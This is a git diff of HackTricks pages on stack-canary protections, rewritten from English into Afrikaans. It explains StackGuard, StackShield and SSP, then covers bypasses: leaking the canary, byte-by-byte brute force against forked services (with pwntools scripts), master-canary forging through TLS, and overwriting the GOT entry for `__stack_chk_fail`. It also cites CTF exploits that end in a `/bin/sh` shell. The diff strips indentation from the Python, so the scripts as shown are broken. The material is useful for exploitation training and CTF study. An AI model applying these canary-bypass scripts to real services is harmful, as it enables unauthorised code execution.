+**StackGuard** het compiler-ingeslote canaries tussen kwesbare plaaslike data en beheerdata bekendgestel. Sy historiese *terminator canary* het grepe soos NUL, newline, EOF en carriage return gebruik (dikwels aangedui as `0x000aff0d`), terwyl latere variante random- of XOR-canaries gebruik het. Terminator-grepe belemmer string-copy-funksies, maar lengtegebaseerde bewerkings soos `recv()`, `memcpy()`, `read()` en `bcopy()` kan dit steeds kopieer. Die kontrole bespeur 'n veranderde canary wanneer die funksie terugkeer; dit voorkom nie op sigself korrupsie van data wat voor die canary geplaas is nie. In die historiese layouts wat deur Core Security ontleed is, was die gestoorde frame pointer (`EBP`) voor die beskermde return address en kon dit dus 'n afsonderlike korrupsieteiken bly.[[5]](#references) [[9]](#references)
-**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables.
+**StackShield** stoor return addresses in 'n afsonderlike Global Return Stack. Sy verstekmodus herstel die afsonderlik gestoorde waarde, terwyl ander modusse return addresses kan vergelyk of range checks kan toepas. Dit beskerm teen direkte oorskrywings van gestoorde return addresses, maar nie teen arbitrêre korrupsie van plaaslike veranderlikes, funksie-argumente, frame pointers of ander code pointers nie. Return-to-libc, ROP en ret2ret bly nuttige code-reuse-tegnieke nadat 'n ander primitive control flow verskaf, maar om bloot 'n return address wat deur die Global Return Stack beskerm word te oorskryf, is nie op sigself 'n bypass nie.[[9]](#references)
-## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
+## Stack-Smashing Protector (`-fstack-protector`)
-This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure.
+Moderne compiler-stack protection plaas 'n guard tussen geselekteerde plaaslike objekte en gestoorde beheerdata, verifieer dit in die funksie se epilogue en roep `__stack_chk_fail` aan wanneer daar 'n mismatch is. ProPolice het ook variable reordering en die kopiëring van kwesbare pointer-argumente voorgestel. Ouer/verstek-implementasies kon arrays onder 'n agt-byte-drempel weglaat en, afhangend van hoe die compiler dit voorgestel het, buffers wat in structures ingebed is. Presiese seleksie bly compiler- en opsie-afhanklik: GCC se `-fstack-protector`, `-strong`, `-all` en `-explicit` dek doelbewus verskillende stelle funksies, dus is die historiese beperking nuttig wanneer ou binaries geoudit word, maar dit is nie 'n universele huidige reël nie.[[6]](#references) [[9]](#references)
-The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`.
+Op algemene Linux/glibc-builds initialiseer die proses 'n gerandomiseerde guard en verkry dit toegang deur thread-local storage. Ouer glibc-kode het kernel-`AT_RANDOM`-data gebruik wanneer dit beskikbaar was, kon na `/dev/urandom` terugval en het uiteindelik 'n terminator-styl waarde saamgestel (algemeen voorgestel as `0xff0a0000` op 32-bit little-endian-stelsels) indien randomness nie beskikbaar was nie. Huidige glibc neem deur die kernel verskafte random bytes en maak die byte skoon wat eerste deur 'n tipiese string overflow teëgekom word.[[8]](#references) [[10]](#references) Gereeld aangetrefte i386- en x86-64-layouts gebruik onderskeidelik `gs:0x14` en `fs:0x28`, maar hierdie offsets is ABI/runtime-implementasiebesonderhede eerder as portable waarborge. 'n `fork()`-kind erf die huidige address space en guard value; afsonderlik geforkte request workers kan dus herhaalde guesses teen een canary verskaf. Threads begin normaalweg met die proses se guard value, hoewel die access location thread-local is.[[1]](#references)
-This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity.
+Die compiler voeg 'n prologue in wat die guard na die frame kopieer, en 'n epilogue wat die kopie verifieer voordat die gestoorde return state gebruik word.
-When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling.
+Wanneer 'n crash tot 'n geforkte request worker geïsoleer word en die ouer voortgaan om workers met dieselfde guard te spawn, kan 'n aanvaller dit moontlik byte vir byte brute-force. 'n Suksesvolle `execve()` vervang die proses-image en veroorsaak dat die nuwe runtime 'n nuwe guard initialiseer. `vfork()` is nie 'n canary defense nie: die kind deel tydelik die ouer se address space en moet `_exit()` of 'n `exec`-funksie aanroep sonder om ander memory te wysig.[[7]](#references)
-### Lengths
+### Lengtes
-In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.**
+In tipiese Linux/glibc `x86_64`-binaries is die guard 'n **8-byte**-waarde. In memory is sy least-significant byte NUL en die oorblywende sewe bytes bevat die onvoorspelbare gedeelte.
-In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.**
+In tipiese Linux/glibc `i386`-binaries is dit 'n **4-byte**-waarde met 'n least-significant NUL en drie onvoorspelbare bytes.[[1]](#references)
> [!CAUTION]
-> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**.
+> Die least-significant NUL-byte word eerste teëgekom deur 'n contiguous overflow vanaf 'n local buffer met 'n laer address op hierdie little-endian-layouts, wat string-copy-primitives frustreer. Moenie hierdie byte-layout op elke OS, architecture of runtime aanvaar nie.
## Bypasses
-**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.
+**Leaking the canary** en dit daarna oorskryf (byvoorbeeld met buffer overflow) met sy eie waarde.[[1]](#references)
+
+- As die **canary in child processes gefork word**, kan dit moontlik wees om dit een byte op 'n slag te **brute-force**:
-- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time:
{{#ref}}
bf-forked-stack-canaries.md
{{#endref}}
-- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it:
+- As daar 'n interessante **leak of arbitrary read vulnerability** in die binary is, kan dit moontlik wees om dit te leak:
+
{{#ref}}
print-stack-canary.md
{{#endref}}
-- **Overwriting stack stored pointers**
+- **Oorskryf van stack-gestoorde pointers**
+
+Die stack wat kwesbaar is vir 'n stack overflow kan **addresses na strings of functions bevat wat oorskryf kan word** om die vulnerability uit te buit sonder dat die stack canary bereik hoef te word. Kyk na:
-The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check:
{{#ref}}
../../stack-overflow/pointer-redirecting.md
@@ -53,24 +56,26 @@ The stack vulnerable to a stack overflow might **contain addresses to strings or
- **Modifying both master and thread canary**
-A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).
+'n Voldoende groot overflow vanaf 'n thread stack kan die thread-local guard bereik wat in die aangrensende TLS-mapping gestoor word. As die exploit sowel die frame-kopie as die TLS-guard met dieselfde waarde oorskryf, slaag die epilogue-vergelyking steeds. Die Robot Factory-writeup demonstreer hierdie **master-canary forging**-pad.[[2]](#references)
-Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
-As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
-This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
-
-Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
+Die CODE BLUE-aanbieding verduidelik die relevante layout: runtimes skep algemeen sowel thread stacks as TLS-verwante mappings met `mmap`, wat die guard binne bereik van 'n overflow op 'n spesifieke build kan plaas.[[4]](#references)
- **Modify the GOT entry of `__stack_chk_fail`**
-If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified.
+As die binary Partial RELRO het, kan jy 'n arbitrary write gebruik om die **GOT entry van `__stack_chk_fail`** te wysig na 'n dummy function wat nie die program blokkeer indien die canary gewysig word nie.
-This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
+Die Scrambler-writeup demonstreer hierdie attack.[[3]](#references)
## References
-- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
-- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
-- [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
-
+- [1] [Mitigation - Canary](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
+- [2] [HTB Robot Factory - Canaries en threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
+- [3] [Securinets CTF - Scrambler](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
+- [4] [Master-canary forging - Yuki Koike, CODE BLUE 2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015)
+- [5] [StackGuard: Outomatiese adaptiewe opsporing en voorkoming van buffer-overflow-aanvalle](https://www.usenix.org/legacy/publications/library/proceedings/sec98/full_papers/cowan/cowan.pdf)
+- [6] [GCC - Programinstrumentasie-opsies](https://gcc.gnu.org/onlinedocs/gcc/Instrumentation-Options.html)
+- [7] [Linux `vfork(2)`-handleiding](https://man7.org/linux/man-pages/man2/vfork.2.html)
+- [8] [glibc 2.15 - historiese stack-guard-initialisering en fallbacks](https://github.com/bminor/glibc/blob/glibc-2.15/sysdeps/unix/sysv/linux/dl-osinfo.h)
+- [9] [Vier verskillende truuks om StackShield- en StackGuard-beskerming te omseil](https://www.coresecurity.com/core-labs/publications/four-different-tricks-to-bypass-stackshield-and-stackguard-protection)
+- [10] [glibc - huidige Linux-stack-guard-initialisering](https://github.com/bminor/glibc/blob/master/sysdeps/unix/sysv/linux/dl-osinfo.h)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
index 89eee29ecc5..a543d0da14f 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
@@ -2,99 +2,100 @@
{{#include ../../../banners/hacktricks-training.md}}
-**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
+**As jy met 'n binary te doen het wat deur 'n canary en PIE (Position Independent Executable) beskerm word, moet jy waarskynlik 'n manier vind om dit te omseil.**
-.png>)
+.png>)
-> [!NOTE]
-> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
-> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
+> [!TIP]
+> Let daarop dat **`checksec`** moontlik nie sal identifiseer dat 'n binary deur 'n canary beskerm word as dit staties gekompileer is en dit nie in staat is om die funksie te identifiseer nie.\
+> Jy kan dit egter handmatig opmerk as jy vind dat 'n waarde aan die begin van 'n funksie-aanroep op die stack gestoor word en hierdie waarde nagegaan word voordat die funksie verlaat word.
## Brute force Canary
-The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
+Canary brute force is prakties wanneer 'n netwerkdiens **'n child fork vir elke verbinding** sonder om die process image te vervang. Die children erf die ouer se canary, dus stel elke nuwe verbinding 'n oracle vir dieselfde waarde bloot. 'n Diens wat `execve` ná `fork` aanroep, die guard regenereer, pogings rate-limit, of toelaat dat 'n mislukte child die ouer laat termineer/herbegin, verskaf nie 'n stabiele oracle nie.[[1]](#references)[[3]](#references)
-Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
+Brute-force die canary byte vir byte en onderskei 'n korrekte prefix van 'n verkeerde een deur waar te neem of die child normaal voortgaan of crash. Hierdie voorbeeld teiken 'n 8-byte x86-64-canary en gebruik 'n response as die oracle; 'n ander diens mag 'n timeout-, connection-close- of exception-oracle vereis.
-### Example 1
+### Bou van 'n betroubare oracle
-This example is implemented for 64bits but could be easily implemented for 32 bits.
+- Maak seker dat elke probe werklik die kandidaat-byte oorskryf **en die beskermde funksie se epilogue bereik**. 'n Reël-delimiter, kort read, parser rejection of vroeë return kan veroorsaak dat die kandidaat onaangeraak bly en 'n vals sukses lewer. Hou die reeds herwonne prefix identies, verhoog die aanvaarbare lengte met presies een byte, en bevestig eers dat 'n doelbewus verkeerde kandidaat betroubaar die failure path aktiveer. Die length-prefixed `feedme`-voorbeeld hieronder illustreer hierdie inkrementele overwrite.[[1]](#references)
+- Op algemene x86-64 glibc-teikens is die voorste NUL gewoonlik bekend, dus hoef slegs sewe bytes geraai te word wanneer die input primitive NUL kan uitstuur. Dit is hoogstens `7 * 256 = 1792` probes (ongeveer 899.5 gemiddeld met 'n uniform byte en 'n vaste guess order). Moenie die NUL blindelings oorslaan nie: verifieer die target ABI en hoe die kwesbare input routine data termineer.
+- Reconnects moet children uit dieselfde steeds-lopende parent generation bereik. 'n Service restart verwerp die herwonne prefix, terwyl 'n pre-fork pool wat deur verskeie onafhanklike parents geskep is, verskeie canaries kan blootlê. Toets die volledige bekende prefix gereeld weer en, waar moontlik, pin probes aan een backend/worker generation.
+'n Onlangse oracle uit die werklike wêreld het meer as net 'n socket close gebruik: Synacktiv se Pwn2Own 2025 BeeStation exploit het 'n normale HTTP-response onderskei van 'n `502` wat gegenereer is toe 'n forked CGI-worker gecrash het. Dieselfde byte-wise primitive het die canary, 'n stack address en 'n library address herwin; die uitvoering van candidate probes met 16 threads het al drie recovery stages tot minder as drie minute verminder.[[4]](#references) Die volledige chain word opgesom op [the stack-overflow page](../../stack-overflow/README.md#real-world-example-cve-2025-12686-synology-beestation-bee-admincenter).
+
+### Voorbeeld 1
+
+Hierdie voorbeeld is vir 64bits geïmplementeer, maar kan maklik vir 32 bits geïmplementeer word.
```python
from pwn import *
def connect():
- r = remote("localhost", 8788)
-
-def get_bf(base):
- canary = ""
- guess = 0x0
- base += canary
-
- while len(canary) < 8:
- while guess != 0xff:
- r = connect()
-
- r.recvuntil("Username: ")
- r.send(base + chr(guess))
-
- if "SOME OUTPUT" in r.clean():
- print "Guessed correct byte:", format(guess, '02x')
- canary += chr(guess)
- base += chr(guess)
- guess = 0x0
- r.close()
- break
- else:
- guess += 1
- r.close()
-
- print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
- return base
+return remote("localhost", 8788)
+
+def get_bf(prefix):
+# Typical x86-64 glibc canary: known leading NUL + 7 unknown bytes
+canary = b"\x00"
+
+while len(canary) < 8:
+for guess in range(0x100):
+r = connect()
+r.recvuntil(b"Username: ")
+r.send(prefix + canary + p8(guess))
+output = r.clean(timeout=0.5)
+r.close()
+
+if b"SOME OUTPUT" in output:
+log.info(f"Guessed byte: {guess:02x}")
+canary += p8(guess)
+break
+else:
+raise RuntimeError("No candidate byte produced the success oracle")
+
+log.success("Found canary: " + canary.hex())
+return prefix + canary
canary_offset = 1176
-base = "A" * canary_offset
-print("Brute-Forcing canary")
-base_canary = get_bf(base) #Get yunk data + canary
-CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
+base = b"A" * canary_offset
+log.info("Brute-forcing canary")
+base_canary = get_bf(base) # junk data + canary
+CANARY = u64(base_canary[-8:])
```
+### Voorbeeld 2
-### Example 2
-
-This is implemented for 32 bits, but this could be easily changed to 64bits.\
-Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
-
+Dit is geïmplementeer vir 32 bits, maar dit kan maklik na 64bits verander word.\
+Let ook daarop dat die **program eers ’n byte verwag het om die grootte van die invoer aan te dui**, en die payload.[[1]](#references)
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
- known_canary = b""
- test_canary = 0x0
- len_bytes_to_read = 0x21
+known_canary = b""
+test_canary = 0x0
+len_bytes_to_read = 0x21
- for j in range(0, 4):
- # Iterate up to 0xff times to brute force all posible values for byte
- for test_canary in range(0xff):
- print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
+for j in range(0, 4):
+# Try all 256 possible values for this byte
+for test_canary in range(0x100):
+print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
- # Send the current input size
- target.send(len_bytes_to_read.to_bytes(1, "little"))
+# Send the current input size
+target.send(len_bytes_to_read.to_bytes(1, "little"))
- # Send this iterations canary
- target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
+# Send this iterations canary
+target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
- # Scan in the output, determine if we have a correct value
- output = target.recvuntil(b"exit.")
- if b"YUM" in output:
- # If we have a correct value, record the canary value, reset the canary value, and move on
- print(" - next byte is: " + hex(test_canary))
- known_canary = known_canary + test_canary.to_bytes(1, "little")
- len_bytes_to_read += 1
- break
+# Scan in the output, determine if we have a correct value
+output = target.recvuntil(b"exit.")
+if b"YUM" in output:
+# If we have a correct value, record the canary value, reset the canary value, and move on
+print(" - next byte is: " + hex(test_canary))
+known_canary = known_canary + test_canary.to_bytes(1, "little")
+len_bytes_to_read += 1
+break
- # Return the canary
- return known_canary
+# Return the canary
+return known_canary
# Start the target process
target = process('./feedme')
@@ -104,18 +105,34 @@ target = process('./feedme')
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
-
## Threads
-Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.
+Threads begin dikwels met dieselfde guard value, maar hulle is **nie gelykstaande aan forked crash isolation nie**: ’n verkeerde stack-canary-skatting roep normaalweg `__stack_chk_fail` aan en beëindig die hele multithreaded proses. Om bloot ’n nuwe thread vir elke versoek te skep, verskaf dus normaalweg nie ’n herbruikbare byte-wise oracle nie. Die thread-specific bypass is eerder om een voldoende lang overwrite te maak wat beide die frame copy en die reference guard korrupteer voordat die epilogue hulle vergelyk.
-Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
-As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
-This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
+### Master-canary forging
-Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
+In geaffekteerde glibc-layouts beslaan ’n afwaarts-groeiende pthread-stack en sy static TLS/TCB dieselfde allocation sonder ’n intervening guard page. ’n Overflow na hoër addresses kan die frame canary, saved control data en oorblywende usable stack kruis, en dan die reference `__stack_chk_guard` bereik. Deur dieselfde attacker-chosen value in die frame slot en die TLS guard te skryf, slaag die finale vergelyking. Corruption tussen hierdie locations is steeds belangrik: die exploit moet enige intervening pointers of fields behou wat gebruik word voordat control flow oorgeneem word. Die [Robot Factory writeup](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) demonstreer hierdie payload construction.[[2]](#references)
-## Other examples & references
+Dit is ABI-dependent eerder as ’n universele eienskap van pthreads. ’n 2026 glibc hardening analysis het TCB-resident stack guards op x86/x86-64, s390, SPARC en PowerPC geïdentifiseer; in die gelyste AArch64-, ARM-, RISC-V-, MIPS- en LoongArch-layouts kan dieselfde linear overflow TLS korrupteer, maar nie die SSP guard via hierdie spesifieke path nie. Reproduceer altyd die presiese libc, architecture, requested thread-stack size en guard size wat deur die target gebruik word.[[5]](#references)
-- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
+Vir x86-64 glibc, vergelyk die guard load in die vulnerable function met die live thread mapping voordat jy die lang payload bou (die frame offset is compiler-dependent):
+```text
+(gdb) thread 2
+(gdb) disassemble /r vulnerable_function # look for the fs:0x28 guard load
+(gdb) p/x $fs_base
+(gdb) x/gx $fs_base+0x28 # reference guard on this ABI
+(gdb) info proc mappings # check for an unmapped/PROT_NONE gap
+```
+Die CODE BLUE-aanbieding verduidelik die oorspronklike `mmap`-gesteunde thread-stack/TLS-aangrensendheid agter master-canary forging.[[3]](#references) In Mei 2026 het ’n glibc RFC ’n tweede guard region tussen die bruikbare pthread-stack en static TLS voorgestel (aanvanklik vir x86 in die patch geaktiveer); so ’n region verander die lineêre overwrite in ’n fault voordat dit die TCB bereik. Omdat dit as ’n RFC eerder as ’n draagbare ABI-waarborg voorgestel is, moet exploitability op grond van die ontplooide mappings bepaal word, eerder as om enige van die twee layouts te aanvaar.[[5]](#references)
+
+
+
+## References
+
+- [1] [Nightmare - DEF CON Quals 2016 feedme (guyinatuxedo)](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
+- 64-bis, no PIE, nx, BF canary, skryf ’n ROP in geheue om `execve` te roep en spring daarheen.
+- [2] [HTB Robot Factory - Canaries en Threads (7rocky)](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
+- [3] [Master Canary Forging - Yuki Koike (CODE BLUE 2015)](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015)
+- [4] [Die BeeStation breek: Binne ons Pwn2Own 2025-exploitreis (Synacktiv)](https://www.synacktiv.com/en/publications/breaking-the-beestation-inside-our-pwn2own-2025-exploit-journey.html)
+- [5] [glibc RFC: Voeg TLS guard page tussen thread-stack en static TLS by](https://sourceware.org/pipermail/libc-alpha/2026-May/177104.html)
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
index e4d3eed442e..bcec896e6e6 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
@@ -1,33 +1,40 @@
-# Print Stack Canary
+# Druk Stack Canary
{{#include ../../../banners/hacktricks-training.md}}
-## Enlarge printed stack
+## Vergroot gedrukte stack
-Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.
+Stel jou 'n situasie voor waar 'n **program kwesbaar** vir stack overflow 'n **puts**-funksie kan uitvoer wat na 'n **deel** van die **stack overflow** **wys**. Die aanvaller weet dat die **eerste byte van die canary 'n null byte** (`\x00`) is en dat die res van die canary **ewekansige** bytes is. Die aanvaller kan dan 'n overflow skep wat die stack **oorstroom tot net by die eerste byte van die canary**.
-Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).
+Die aanvaller roep dan **`puts`** op die payload by die oorgeskrewe canary-byte. Omdat die voorste null terminator weg is, gaan `puts` voort en maak dit die oorblywende canary-bytes bekend.
-With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session).
+Met daardie bekendmaking kan die aanvaller 'n tweede payload skep wat die gerekonstrueerde canary bevat. Dit moet normaalweg in dieselfde process gebeur, of in 'n ander process wat dieselfde canary geërf het.
-Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.
+Dit is natuurlik 'n baie **beperkte** taktiek, aangesien die aanvaller die **inhoud** van sy **payload** moet kan **druk** om die **canary** te **exfiltrate**, en dan 'n nuwe payload moet kan skep (in dieselfde **programsessie**) en die **werklike buffer overflow** moet kan **stuur**.
-**CTF examples:**
+**CTF-voorbeelde:**
-- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
-- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- - 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system)
+- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)[[1]](#references)
+- 64-bit, ASLR geaktiveer maar geen PIE nie. Die eerste fase oorskryf die canary se `0x00`-byte en roep `puts` aan om dit te leak. Die volgende ROP chain leaker `puts` uit die GOT, resolve libc en roep `system("/bin/sh")` aan.
+- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)[[2]](#references)
+- 32-bit ARM, geen RELRO, canary, NX en geen PIE nie. Die exploit leaker die canary met `puts` en gebruik dan ret2libc en 'n gadget wat `r0` (`/bin/sh`) en `pc` (`system`) beheer.
## Arbitrary Read
-With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in:
+Met 'n **arbitrary read**, soos die een wat deur format **strings** verskaf word, kan dit moontlik wees om die canary te leak. Kyk na hierdie voorbeeld: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries)[[3]](#references) en lees meer oor die misbruik van format strings om arbitrary memory addresses te lees in:
+
{{#ref}}
../../format-strings/
{{#endref}}
-- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- - This challenge abuses in a very simple way a format string to read the canary from the stack
+- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)[[4]](#references)
+- Hierdie challenge misbruik 'n format string op 'n baie eenvoudige manier om die canary van die stack te lees
+
+## References
+- [1] [csawquals17 svc - guyinatuxedo](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
+- [2] [hxp18 poorCanary - guyinatuxedo](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
+- [3] [Canaries - ir0nstone's notes](https://ir0nstone.gitbook.io/notes/types/stack/canaries)
+- [4] [asis17 marymorton - guyinatuxedo](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-exploiting-problems-unsafe-relocation-fixups.md b/src/binary-exploitation/common-exploiting-problems-unsafe-relocation-fixups.md
new file mode 100644
index 00000000000..9100809ef45
--- /dev/null
+++ b/src/binary-exploitation/common-exploiting-problems-unsafe-relocation-fixups.md
@@ -0,0 +1,86 @@
+# Onveilige Relocation Fixups in Asset Loaders
+
+{{#include ../banners/hacktricks-training.md}}
+
+## Waarom asset-relocations belangrik is
+
+Baie legacy game engines (Granny 3D, Gamebryo, ens.) laai komplekse assets deur:
+
+1. ’n Header en section table te parse.
+2. Een heap buffer per section te allokeer.
+3. ’n `SectionArray` te bou wat die base pointer van elke section stoor.
+4. Relocation tables toe te pas sodat pointers wat binne die section-data ingebed is, na die korrekte target section + offset gepatch word.
+
